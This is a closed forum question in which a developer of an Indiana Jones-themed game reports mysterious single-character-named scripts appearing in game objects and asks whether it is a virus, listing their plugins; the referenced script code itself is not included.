I think I have a virus and do not know how to decipher this scripts. help? [closed]

I am making an indiana jones themed adventure game and have been woking on it for a couple months just building the spawn/lobby area. About a couple weeks ago I started having random scripts placed into random game objects with the name of single characters such as "d" , "#" or just " ". I am begining to worry because I dont want any thing to happen to my game I spent a lot of time on. I also have not used any free models in my game. I only plugins I use are 'Bulidng tools By F3X', 'Ro-Defender', 'Guardian Angel verison 0.81d Beta', 'Tool Grip Editor' and '3D Text maker'. This is the code from my most recent script that came out of nowhere. I also want to note that the scripts only appear in the workspace under certain objects.
